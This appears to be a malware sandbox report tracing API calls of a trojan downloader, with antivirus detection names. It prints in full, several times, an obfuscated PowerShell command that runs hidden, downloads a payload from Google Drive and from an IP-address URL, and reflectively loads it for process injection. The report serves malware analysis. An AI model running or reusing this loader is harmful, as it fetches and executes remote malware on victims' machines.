1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02696000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02697000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02698000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02699000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05030000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05031000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05032000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05033000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05034000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05035000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05036000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05037000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05038000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05039000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05040000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05041000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05042000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05043000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05044000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
domain drive.google.com
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWVYKCAoJ3FPJysnNGltYWdlVXJsID0gaDFTaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgaDFTO3FPNHcnKydlYkNsaWVuJysndCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDJysnbCcrJ2llbnQ7cU80aW1hZ2VCeXRlcyA9IHFPNHdlYkNsaWVudC4nKydEb3dubG9hZERhdGEocU80aW1hJysnZ2VVcmwpO3EnKydPNGltYWdlVGV4dCA9IFtTJysneXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHFPJysnNGltYWdlQnl0ZXMpO3FPJysnNHN0YXJ0RmxhZyA9IGgxUzw8QkFTRTY0X1NUQVJUPj5oMVM7cU80ZW5kRmxhZyA9IGgxUzw8QkFTRTY0X0VORD4+aDFTO3FPNHN0YXJ0SW5kZXggPSBxTzRpbWFnZVRlJysneHQuSW5kZXhPZihxTzRzdGFydEZsYWcpO3FPNGVuZEluZGV4ID0gcU80aW1hZ2VUZXh0LkluZGV4T2YocU80ZW5kRmxhZyk7cU80cycrJ3RhcnRJbmRleCAtZ2UgMCAtYW5kIHFPNGVuZEluZGV4IC1ndCBxTzRzdGFydEluZCcrJ2V4O3FPNHN0YXJ0SW5kZXggKz0gcU80c3RhcnRGbGEnKydnLkxlbmd0aDtxTzRiYXNlNjRMZW5ndGggPSBxTzRlbmRJbmRleCAtIHFPNHN0YXJ0SW5kZXg7cU80YmFzZTY0Q29tbWFuZCA9IHFPNGltYWdlVGV4dC5TdWJzdCcrJ3JpbmcocU80c3RhcnRJbmRleCwgcU80YmFzZTY0TGVuZ3RoJysnKTtxTzRiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChxTzRiYXNlNjRDb21tYW5kLlRvJysnQ2hhckFycmF5KCkgS3lJIEZvckVhY2gtT2JqZWN0IHsgcU80XyB9KScrJ1stMS4uLShxTzRiYXNlNjRDb21tYW5kLkxlbmd0aCldO3FPNGNvbW1hbmRCeXRlcyA9IFtTeXN0ZScrJ20uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcocU80YmFzZTY0UmV2ZXJzZWQpO3FPNGxvYWRlZEEnKydzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChxTzRjb21tYW5kQnl0ZXMpO3FPNHZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoaDFTVkFJaDFTKTtxTzR2YWlNZXRob2QuSW52b2tlKHFPNG51bGwsIEAoaDFTdHh0LjQ0NDZlc2FiYmJiYmInKydiYmJiZXdtYWRhbS80MzEuODcxLjY0Ljg5MS8vOnB0dGhoMVMsIGgxU2Rlc2F0aXZhZG9oMVMsIGgxU2Rlc2F0aXZhJysnZG9oMVMsIGgxU2Rlc2F0aXZhZG9oMVMsIGgxJysnU0FkZEluUHJvY2VzczMyaDFTLCBoMVMnKydkZXNhdGl2YWRvaDFTLCBoMVNkZXNhdGl2YWRvaDFTLGgxU2Rlc2F0aXZhZG9oMVMsaDFTZGVzYXRpdmFkb2gxUyxoMVNkZXNhdGknKyd2YWRvaDFTLGgxU2Rlc2F0aXZhZG9oMVMsaDFTZGVzYXRpdmFkb2gxUyxoMVMxaDFTLGgxU2Rlc2F0aXZhZG9oMVMpKTsnKS5yZVBsQWNFKChbQ2hhUl0xMTMrW0NoYVJdNzkrW0NoYVJdNTIpLCckJykucmVQbEFjRSgoW0NoYVJdNzUrW0NoYVJdMTIxK1tDaGFSXTczKSxbc3RyaU5nXVtDaGFSXTEyNCkucmVQbEFjRSgoW0NoYVJdMTA0K1tDaGFSXTQ5K1tDaGFSXTgzKSxbc3RyaU5nXVtDaGFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
cmdline powershell -command $Codigo = 'SWVYKCAoJ3FPJysnNGltYWdlVXJsID0gaDFTaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgaDFTO3FPNHcnKydlYkNsaWVuJysndCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDJysnbCcrJ2llbnQ7cU80aW1hZ2VCeXRlcyA9IHFPNHdlYkNsaWVudC4nKydEb3dubG9hZERhdGEocU80aW1hJysnZ2VVcmwpO3EnKydPNGltYWdlVGV4dCA9IFtTJysneXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHFPJysnNGltYWdlQnl0ZXMpO3FPJysnNHN0YXJ0RmxhZyA9IGgxUzw8QkFTRTY0X1NUQVJUPj5oMVM7cU80ZW5kRmxhZyA9IGgxUzw8QkFTRTY0X0VORD4+aDFTO3FPNHN0YXJ0SW5kZXggPSBxTzRpbWFnZVRlJysneHQuSW5kZXhPZihxTzRzdGFydEZsYWcpO3FPNGVuZEluZGV4ID0gcU80aW1hZ2VUZXh0LkluZGV4T2YocU80ZW5kRmxhZyk7cU80cycrJ3RhcnRJbmRleCAtZ2UgMCAtYW5kIHFPNGVuZEluZGV4IC1ndCBxTzRzdGFydEluZCcrJ2V4O3FPNHN0YXJ0SW5kZXggKz0gcU80c3RhcnRGbGEnKydnLkxlbmd0aDtxTzRiYXNlNjRMZW5ndGggPSBxTzRlbmRJbmRleCAtIHFPNHN0YXJ0SW5kZXg7cU80YmFzZTY0Q29tbWFuZCA9IHFPNGltYWdlVGV4dC5TdWJzdCcrJ3JpbmcocU80c3RhcnRJbmRleCwgcU80YmFzZTY0TGVuZ3RoJysnKTtxTzRiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChxTzRiYXNlNjRDb21tYW5kLlRvJysnQ2hhckFycmF5KCkgS3lJIEZvckVhY2gtT2JqZWN0IHsgcU80XyB9KScrJ1stMS4uLShxTzRiYXNlNjRDb21tYW5kLkxlbmd0aCldO3FPNGNvbW1hbmRCeXRlcyA9IFtTeXN0ZScrJ20uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcocU80YmFzZTY0UmV2ZXJzZWQpO3FPNGxvYWRlZEEnKydzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChxTzRjb21tYW5kQnl0ZXMpO3FPNHZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoaDFTVkFJaDFTKTtxTzR2YWlNZXRob2QuSW52b2tlKHFPNG51bGwsIEAoaDFTdHh0LjQ0NDZlc2FiYmJiYmInKydiYmJiZXdtYWRhbS80MzEuODcxLjY0Ljg5MS8vOnB0dGhoMVMsIGgxU2Rlc2F0aXZhZG9oMVMsIGgxU2Rlc2F0aXZhJysnZG9oMVMsIGgxU2Rlc2F0aXZhZG9oMVMsIGgxJysnU0FkZEluUHJvY2VzczMyaDFTLCBoMVMnKydkZXNhdGl2YWRvaDFTLCBoMVNkZXNhdGl2YWRvaDFTLGgxU2Rlc2F0aXZhZG9oMVMsaDFTZGVzYXRpdmFkb2gxUyxoMVNkZXNhdGknKyd2YWRvaDFTLGgxU2Rlc2F0aXZhZG9oMVMsaDFTZGVzYXRpdmFkb2gxUyxoMVMxaDFTLGgxU2Rlc2F0aXZhZG9oMVMpKTsnKS5yZVBsQWNFKChbQ2hhUl0xMTMrW0NoYVJdNzkrW0NoYVJdNTIpLCckJykucmVQbEFjRSgoW0NoYVJdNzUrW0NoYVJdMTIxK1tDaGFSXTczKSxbc3RyaU5nXVtDaGFSXTEyNCkucmVQbEFjRSgoW0NoYVJdMTA0K1tDaGFSXTQ5K1tDaGFSXTgzKSxbc3RyaU5nXVtDaGFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "IeX( ('qO'+'4imageUrl = h1Shttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur h1S;qO4w'+'ebClien'+'t = New-Object System.Net.WebC'+'l'+'ient;qO4imageBytes = qO4webClient.'+'DownloadData(qO4ima'+'geUrl);q'+'O4imageText = [S'+'ystem.Text.Encoding]::UTF8.GetString(qO'+'4imageBytes);qO'+'4startFlag = h1S<<BASE64_START>>h1S;qO4endFlag = h1S<<BASE64_END>>h1S;qO4startIndex = qO4imageTe'+'xt.IndexOf(qO4startFlag);qO4endIndex = qO4imageText.IndexOf(qO4endFlag);qO4s'+'tartIndex -ge 0 -and qO4endIndex -gt qO4startInd'+'ex;qO4startIndex += qO4startFla'+'g.Length;qO4base64Length = qO4endIndex - qO4startIndex;qO4base64Command = qO4imageText.Subst'+'ring(qO4startIndex, qO4base64Length'+');qO4base64Reversed = -join (qO4base64Command.To'+'CharArray() KyI ForEach-Object { qO4_ })'+'[-1..-(qO4base64Command.Length)];qO4commandBytes = [Syste'+'m.Convert]::FromBase64String(qO4base64Reversed);qO4loadedA'+'ssembly = [System.Reflection.Assembly]::Load(qO4commandBytes);qO4vaiMethod = [dnlib.IO.Home].GetMethod(h1SVAIh1S);qO4vaiMethod.Invoke(qO4null, @(h1Stxt.4446esabbbbbb'+'bbbbewmadam/431.871.64.891//:ptthh1S, h1Sdesativadoh1S, h1Sdesativa'+'doh1S, h1Sdesativadoh1S, h1'+'SAddInProcess32h1S, h1S'+'desativadoh1S, h1Sdesativadoh1S,h1Sdesativadoh1S,h1Sdesativadoh1S,h1Sdesati'+'vadoh1S,h1Sdesativadoh1S,h1Sdesativadoh1S,h1S1h1S,h1Sdesativadoh1S));').rePlAcE(([ChaR]113+[ChaR]79+[ChaR]52),'$').rePlAcE(([ChaR]75+[ChaR]121+[ChaR]73),[striNg][ChaR]124).rePlAcE(([ChaR]104+[ChaR]49+[ChaR]83),[striNg][ChaR]39) )"
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2620
thread_handle: 0x000002ec
process_identifier: 2616
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWVYKCAoJ3FPJysnNGltYWdlVXJsID0gaDFTaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgaDFTO3FPNHcnKydlYkNsaWVuJysndCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDJysnbCcrJ2llbnQ7cU80aW1hZ2VCeXRlcyA9IHFPNHdlYkNsaWVudC4nKydEb3dubG9hZERhdGEocU80aW1hJysnZ2VVcmwpO3EnKydPNGltYWdlVGV4dCA9IFtTJysneXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHFPJysnNGltYWdlQnl0ZXMpO3FPJysnNHN0YXJ0RmxhZyA9IGgxUzw8QkFTRTY0X1NUQVJUPj5oMVM7cU80ZW5kRmxhZyA9IGgxUzw8QkFTRTY0X0VORD4+aDFTO3FPNHN0YXJ0SW5kZXggPSBxTzRpbWFnZVRlJysneHQuSW5kZXhPZihxTzRzdGFydEZsYWcpO3FPNGVuZEluZGV4ID0gcU80aW1hZ2VUZXh0LkluZGV4T2YocU80ZW5kRmxhZyk7cU80cycrJ3RhcnRJbmRleCAtZ2UgMCAtYW5kIHFPNGVuZEluZGV4IC1ndCBxTzRzdGFydEluZCcrJ2V4O3FPNHN0YXJ0SW5kZXggKz0gcU80c3RhcnRGbGEnKydnLkxlbmd0aDtxTzRiYXNlNjRMZW5ndGggPSBxTzRlbmRJbmRleCAtIHFPNHN0YXJ0SW5kZXg7cU80YmFzZTY0Q29tbWFuZCA9IHFPNGltYWdlVGV4dC5TdWJzdCcrJ3JpbmcocU80c3RhcnRJbmRleCwgcU80YmFzZTY0TGVuZ3RoJysnKTtxTzRiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChxTzRiYXNlNjRDb21tYW5kLlRvJysnQ2hhckFycmF5KCkgS3lJIEZvckVhY2gtT2JqZWN0IHsgcU80XyB9KScrJ1stMS4uLShxTzRiYXNlNjRDb21tYW5kLkxlbmd0aCldO3FPNGNvbW1hbmRCeXRlcyA9IFtTeXN0ZScrJ20uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcocU80YmFzZTY0UmV2ZXJzZWQpO3FPNGxvYWRlZEEnKydzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChxTzRjb21tYW5kQnl0ZXMpO3FPNHZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoaDFTVkFJaDFTKTtxTzR2YWlNZXRob2QuSW52b2tlKHFPNG51bGwsIEAoaDFTdHh0LjQ0NDZlc2FiYmJiYmInKydiYmJiZXdtYWRhbS80MzEuODcxLjY0Ljg5MS8vOnB0dGhoMVMsIGgxU2Rlc2F0aXZhZG9oMVMsIGgxU2Rlc2F0aXZhJysnZG9oMVMsIGgxU2Rlc2F0aXZhZG9oMVMsIGgxJysnU0FkZEluUHJvY2VzczMyaDFTLCBoMVMnKydkZXNhdGl2YWRvaDFTLCBoMVNkZXNhdGl2YWRvaDFTLGgxU2Rlc2F0aXZhZG9oMVMsaDFTZGVzYXRpdmFkb2gxUyxoMVNkZXNhdGknKyd2YWRvaDFTLGgxU2Rlc2F0aXZhZG9oMVMsaDFTZGVzYXRpdmFkb2gxUyxoMVMxaDFTLGgxU2Rlc2F0aXZhZG9oMVMpKTsnKS5yZVBsQWNFKChbQ2hhUl0xMTMrW0NoYVJdNzkrW0NoYVJdNTIpLCckJykucmVQbEFjRSgoW0NoYVJdNzUrW0NoYVJdMTIxK1tDaGFSXTczKSxbc3RyaU5nXVtDaGFSXTEyNCkucmVQbEFjRSgoW0NoYVJdMTA0K1tDaGFSXTQ5K1tDaGFSXTgzKSxbc3RyaU5nXVtDaGFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000002f4
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -command $Codigo = 'SWVYKCAoJ3FPJysnNGltYWdlVXJsID0gaDFTaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgaDFTO3FPNHcnKydlYkNsaWVuJysndCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDJysnbCcrJ2llbnQ7cU80aW1hZ2VCeXRlcyA9IHFPNHdlYkNsaWVudC4nKydEb3dubG9hZERhdGEocU80aW1hJysnZ2VVcmwpO3EnKydPNGltYWdlVGV4dCA9IFtTJysneXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHFPJysnNGltYWdlQnl0ZXMpO3FPJysnNHN0YXJ0RmxhZyA9IGgxUzw8QkFTRTY0X1NUQVJUPj5oMVM7cU80ZW5kRmxhZyA9IGgxUzw8QkFTRTY0X0VORD4+aDFTO3FPNHN0YXJ0SW5kZXggPSBxTzRpbWFnZVRlJysneHQuSW5kZXhPZihxTzRzdGFydEZsYWcpO3FPNGVuZEluZGV4ID0gcU80aW1hZ2VUZXh0LkluZGV4T2YocU80ZW5kRmxhZyk7cU80cycrJ3RhcnRJbmRleCAtZ2UgMCAtYW5kIHFPNGVuZEluZGV4IC1ndCBxTzRzdGFydEluZCcrJ2V4O3FPNHN0YXJ0SW5kZXggKz0gcU80c3RhcnRGbGEnKydnLkxlbmd0aDtxTzRiYXNlNjRMZW5ndGggPSBxTzRlbmRJbmRleCAtIHFPNHN0YXJ0SW5kZXg7cU80YmFzZTY0Q29tbWFuZCA9IHFPNGltYWdlVGV4dC5TdWJzdCcrJ3JpbmcocU80c3RhcnRJbmRleCwgcU80YmFzZTY0TGVuZ3RoJysnKTtxTzRiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChxTzRiYXNlNjRDb21tYW5kLlRvJysnQ2hhckFycmF5KCkgS3lJIEZvckVhY2gtT2JqZWN0IHsgcU80XyB9KScrJ1stMS4uLShxTzRiYXNlNjRDb21tYW5kLkxlbmd0aCldO3FPNGNvbW1hbmRCeXRlcyA9IFtTeXN0ZScrJ20uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcocU80YmFzZTY0UmV2ZXJzZWQpO3FPNGxvYWRlZEEnKydzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChxTzRjb21tYW5kQnl0ZXMpO3FPNHZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoaDFTVkFJaDFTKTtxTzR2YWlNZXRob2QuSW52b2tlKHFPNG51bGwsIEAoaDFTdHh0LjQ0NDZlc2FiYmJiYmInKydiYmJiZXdtYWRhbS80MzEuODcxLjY0Ljg5MS8vOnB0dGhoMVMsIGgxU2Rlc2F0aXZhZG9oMVMsIGgxU2Rlc2F0aXZhJysnZG9oMVMsIGgxU2Rlc2F0aXZhZG9oMVMsIGgxJysnU0FkZEluUHJvY2VzczMyaDFTLCBoMVMnKydkZXNhdGl2YWRvaDFTLCBoMVNkZXNhdGl2YWRvaDFTLGgxU2Rlc2F0aXZhZG9oMVMsaDFTZGVzYXRpdmFkb2gxUyxoMVNkZXNhdGknKyd2YWRvaDFTLGgxU2Rlc2F0aXZhZG9oMVMsaDFTZGVzYXRpdmFkb2gxUyxoMVMxaDFTLGgxU2Rlc2F0aXZhZG9oMVMpKTsnKS5yZVBsQWNFKChbQ2hhUl0xMTMrW0NoYVJdNzkrW0NoYVJdNTIpLCckJykucmVQbEFjRSgoW0NoYVJdNzUrW0NoYVJdMTIxK1tDaGFSXTczKSxbc3RyaU5nXVtDaGFSXTEyNCkucmVQbEFjRSgoW0NoYVJdMTA0K1tDaGFSXTQ5K1tDaGFSXTgzKSxbc3RyaU5nXVtDaGFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
filepath: powershell
1 1 0

CreateProcessInternalW

 thread_identifier: 2760
thread_handle: 0x00000448
process_identifier: 2756
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "IeX( ('qO'+'4imageUrl = h1Shttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur h1S;qO4w'+'ebClien'+'t = New-Object System.Net.WebC'+'l'+'ient;qO4imageBytes = qO4webClient.'+'DownloadData(qO4ima'+'geUrl);q'+'O4imageText = [S'+'ystem.Text.Encoding]::UTF8.GetString(qO'+'4imageBytes);qO'+'4startFlag = h1S<<BASE64_START>>h1S;qO4endFlag = h1S<<BASE64_END>>h1S;qO4startIndex = qO4imageTe'+'xt.IndexOf(qO4startFlag);qO4endIndex = qO4imageText.IndexOf(qO4endFlag);qO4s'+'tartIndex -ge 0 -and qO4endIndex -gt qO4startInd'+'ex;qO4startIndex += qO4startFla'+'g.Length;qO4base64Length = qO4endIndex - qO4startIndex;qO4base64Command = qO4imageText.Subst'+'ring(qO4startIndex, qO4base64Length'+');qO4base64Reversed = -join (qO4base64Command.To'+'CharArray() KyI ForEach-Object { qO4_ })'+'[-1..-(qO4base64Command.Length)];qO4commandBytes = [Syste'+'m.Convert]::FromBase64String(qO4base64Reversed);qO4loadedA'+'ssembly = [System.Reflection.Assembly]::Load(qO4commandBytes);qO4vaiMethod = [dnlib.IO.Home].GetMethod(h1SVAIh1S);qO4vaiMethod.Invoke(qO4null, @(h1Stxt.4446esabbbbbb'+'bbbbewmadam/431.871.64.891//:ptthh1S, h1Sdesativadoh1S, h1Sdesativa'+'doh1S, h1Sdesativadoh1S, h1'+'SAddInProcess32h1S, h1S'+'desativadoh1S, h1Sdesativadoh1S,h1Sdesativadoh1S,h1Sdesativadoh1S,h1Sdesati'+'vadoh1S,h1Sdesativadoh1S,h1Sdesativadoh1S,h1S1h1S,h1Sdesativadoh1S));').rePlAcE(([ChaR]113+[ChaR]79+[ChaR]52),'$').rePlAcE(([ChaR]75+[ChaR]121+[ChaR]73),[striNg][ChaR]124).rePlAcE(([ChaR]104+[ChaR]49+[ChaR]83),[striNg][ChaR]39) )"
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 1
process_handle: 0x0000044c
1 1 0
Skyhigh BehavesLike.VBS.Trojan.kp
Symantec CL.Downloader!gen11
ESET-NOD32 VBS/TrojanDownloader.Agent.ABBQ
Kaspersky HEUR:Trojan.Script.Generic
huorong HEUR:TrojanDownloader/PS.NetLoader.aj
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

